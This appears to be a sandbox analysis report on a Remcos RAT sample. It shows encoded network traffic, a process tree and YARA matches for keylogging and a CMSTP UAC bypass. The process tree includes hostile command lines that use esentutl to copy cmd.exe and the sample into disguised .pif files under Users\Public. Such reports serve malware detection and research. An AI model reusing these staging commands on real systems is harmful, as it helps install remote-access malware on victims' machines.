EPN7StGC7Y71Q1K0X4QuxJWx79/2PcVfjvnJAQwMnUo/28tgbbjn5tOT1CxhbcenUTvX0U45Fwnyb2ls9mj5fvHS/sBn9BHxnWzGEr74AlfcDXmwMBznAbXSlL6mE5YvQSSbSIktKL7NmNxFvWOoRVzuBQXJuiTs0b8Ps1yBlwczFQRIsXkTY0BFUqOMN6ENZAMIATK2vjMsIFx+bETNhuOTYUiJnMJlAqVlzNIIgCrZY3O/xCOnWaHxNQrc1gP
2024-11-26 07:12:22 UTC	8000	IN	Data Raw: 49 6c 55 53 6a 34 44 39 31 6e 39 64 31 6d 59 49 38 6c 58 62 45 65 49 77 73 49 75 65 33 35 71 6d 6a 71 42 59 61 36 38 41 35 46 75 79 53 41 2f 66 45 58 4c 77 36 37 4b 6a 4f 54 4d 43 4a 51 4f 37 76 72 33 6f 33 74 4b 49 36 6f 34 69 6b 64 33 71 72 72 56 74 71 6f 44 2b 69 6c 78 4f 70 54 54 52 6b 53 44 71 6c 4e 44 56 59 6f 42 68 53 77 72 4a 34 68 5a 6e 31 6b 4a 39 74 55 50 67 2f 69 49 4a 66 63 50 35 42 49 4a 44 42 6d 68 79 49 6d 77 33 62 7a 61 79 31 68 49 47 6b 4e 68 2b 38 38 45 77 63 6b 44 42 68 57 47 71 73 50 64 42 32 52 7a 33 55 6b 34 4a 52 54 36 5a 6e 4b 59 79 6a 36 71 5a 77 69 69 73 37 45 48 30 72 7a 34 68 69 4c 38 6f 45 6f 71 70 2b 49 44 6e 4e 76 55 50 4a 56 32 44 59 56 67 34 67 31 4a 48 35 41 50 64 37 57 30 4f 59 54 32 71 45 44 33 52 4c 50 53 53 61 68 4b Data Ascii: IlUSj4D91n9d1mYI8lXbEeIwsIue35qmjqBYa68A5FuySA/fEXLw67KjOTMCJQO7vr3o3tKI6o4ikd3qrrVtqoD+ilxOpTTRkSDqlNDVYoBhSwrJ4hZn1kJ9tUPg/iIJfcP5BIJDBmhyImw3bzay1hIGkNh+88EwckDBhWGqsPdB2Rz3Uk4JRT6ZnKYyj6qZwiis7EH0rz4hiL8oEoqp+IDnNvUPJV2DYVg4g1JH5APd7W0OYT2qED3RLPSSahK
2024-11-26 07:12:22 UTC	8000	IN	Data Raw: 59 65 51 30 69 31 37 64 51 78 61 43 66 58 76 49 34 50 7a 71 6b 2f 4b 39 4c 76 78 68 75 6f 59 47 63 6c 57 46 6f 4c 4b 75 6f 69 55 68 31 33 47 54 67 72 44 78 53 64 49 6e 61 44 5a 52 2f 67 44 6a 49 51 32 43 64 4c 49 62 2f 48 54 67 2b 4b 6f 6d 6f 63 71 5a 41 47 45 6d 77 6b 41 79 63 63 77 4d 51 71 63 49 61 43 65 79 4d 32 70 39 36 2b 66 38 41 6e 4b 63 45 52 4a 59 61 4a 75 68 68 69 6e 39 48 71 30 43 42 6a 37 35 69 4b 5a 74 37 37 39 2b 41 59 55 70 79 45 4a 57 4b 35 6e 53 72 55 51 46 63 6c 36 71 53 48 4a 49 6e 62 4a 75 72 54 74 68 6e 72 79 71 7a 38 38 71 5a 4e 52 53 67 47 33 33 44 37 74 6e 38 4b 38 39 50 4c 36 66 73 2f 48 39 7a 64 78 70 76 66 4f 75 4c 4d 37 50 73 34 38 57 49 70 30 4d 65 6c 33 53 69 4e 77 43 5a 76 68 78 62 77 73 79 55 79 48 6a 5a 49 33 66 43 6c 5a Data Ascii: YeQ0i17dQxaCfXvI4Pzqk/K9LvxhuoYGclWFoLKuoiUh13GTgrDxSdInaDZR/gDjIQ2CdLIb/HTg+KomocqZAGEmwkAyccwMQqcIaCeyM2p96+f8AnKcERJYaJuhhin9Hq0CBj75iKZt779+AYUpyEJWK5nSrUQFcl6qSHJInbJurTthnryqz88qZNRSgG33D7tn8K89PL6fs/H9zdxpvfOuLM7Ps48WIp0Mel3SiNwCZvhxbwsyUyHjZI3fClZ

Target ID:	0
Start time:	02:12:08
Start date:	26/11/2024
Path:	C:\Users\user\Desktop\jlPBMMQbXC.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\jlPBMMQbXC.exe"
Imagebase:	0x400000
File size:	1'243'648 bytes
MD5 hash:	A27B6DE588AD4D4C0D6E0C656E580F4E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Target ID:	4
Start time:	02:12:25
Start date:	26/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\hizbeleS.cmd" "
Imagebase:	0xc50000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	5
Start time:	02:12:25
Start date:	26/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	6
Start time:	02:12:25
Start date:	26/11/2024
Path:	C:\Windows\SysWOW64\esentutl.exe
Wow64 process (32bit):	true
Commandline:	C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\cmd.exe /d C:\\Users\\Public\\alpha.pif /o
Imagebase:	0x460000
File size:	352'768 bytes
MD5 hash:	5F5105050FBE68E930486635C5557F84
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	7
Start time:	02:12:26
Start date:	26/11/2024
Path:	C:\Windows\SysWOW64\esentutl.exe
Wow64 process (32bit):	true
Commandline:	C:\\Windows\\System32\\esentutl.exe /y C:\Users\user\Desktop\jlPBMMQbXC.exe /d C:\\Users\\Public\\Libraries\\Selebzih.PIF /o
Imagebase:	0x460000
File size:	352'768 bytes
MD5 hash:	5F5105050FBE68E930486635C5557F84
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	8
Start time:	02:12:26
Start date:	26/11/2024
Path:	C:\Windows\SysWOW64\SndVol.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\SndVol.exe
Imagebase:	0xa0000
File size:	226'712 bytes
MD5 hash:	BD4A1CC3429ED1251E5185A72501839B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000008.00000002.3862154789.0000000004420000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000008.00000002.3862154789.0000000004420000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000008.00000002.3862154789.0000000004420000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000008.00000002.3862154789.0000000004420000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: REMCOS_RAT_variants, Description: unknown, Source: 00000008.00000002.3862154789.0000000004420000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 00000008.00000002.3862154789.0000000004420000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000008.00000002.3877541973.0000000029130000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000008.00000002.3877541973.0000000029130000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000008.00000002.3877541973.0000000029130000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000008.00000002.3877541973.0000000029130000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: REMCOS_RAT_variants, Description: unknown, Source: 00000008.00000002.3877541973.0000000029130000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 00000008.00000002.3877541973.0000000029130000.00000040.00001000.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	moderate
Has exited:	false

Target ID:	9
Start time:	02:12:27
Start date:	26/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	10
Start time:	02:12:37
Start date:	26/11/2024
Path:	C:\Users\Public\Libraries\Selebzih.PIF
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\Libraries\Selebzih.PIF"
Imagebase:	0x400000
File size:	1'243'648 bytes
MD5 hash:	A27B6DE588AD4D4C0D6E0C656E580F4E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 63%, ReversingLabs
Reputation:	low
Has exited:	true

Target ID:	12
Start time:	02:12:39
Start date:	26/11/2024
Path:	C:\Windows\SysWOW64\SndVol.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\SndVol.exe
Imagebase:	0xa0000
File size:	226'712 bytes
MD5 hash:	BD4A1CC3429ED1251E5185A72501839B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	13
Start time:	02:12:46
Start date:	26/11/2024
Path:	C:\Users\Public\Libraries\Selebzih.PIF
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\Libraries\Selebzih.PIF"
Imagebase:	0x400000
File size:	1'243'648 bytes
MD5 hash:	A27B6DE588AD4D4C0D6E0C656E580F4E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Target ID:	15
Start time:	02:12:47
Start date:	26/11/2024
Path:	C:\Windows\SysWOW64\colorcpl.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\colorcpl.exe
Imagebase:	0x730000
File size:	86'528 bytes
MD5 hash:	DB71E132EBF1FEB6E93E8A2A0F0C903D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000000F.00000002.1792665550.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000F.00000002.1792665550.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000F.00000002.1792665550.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 0000000F.00000002.1792665550.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: REMCOS_RAT_variants, Description: unknown, Source: 0000000F.00000002.1792665550.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 0000000F.00000002.1792665550.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000000F.00000002.1794055073.00000000077D0000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000F.00000002.1794055073.00000000077D0000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000F.00000002.1794055073.00000000077D0000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 0000000F.00000002.1794055073.00000000077D0000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: REMCOS_RAT_variants, Description: unknown, Source: 0000000F.00000002.1794055073.00000000077D0000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 0000000F.00000002.1794055073.00000000077D0000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	moderate
Has exited:	true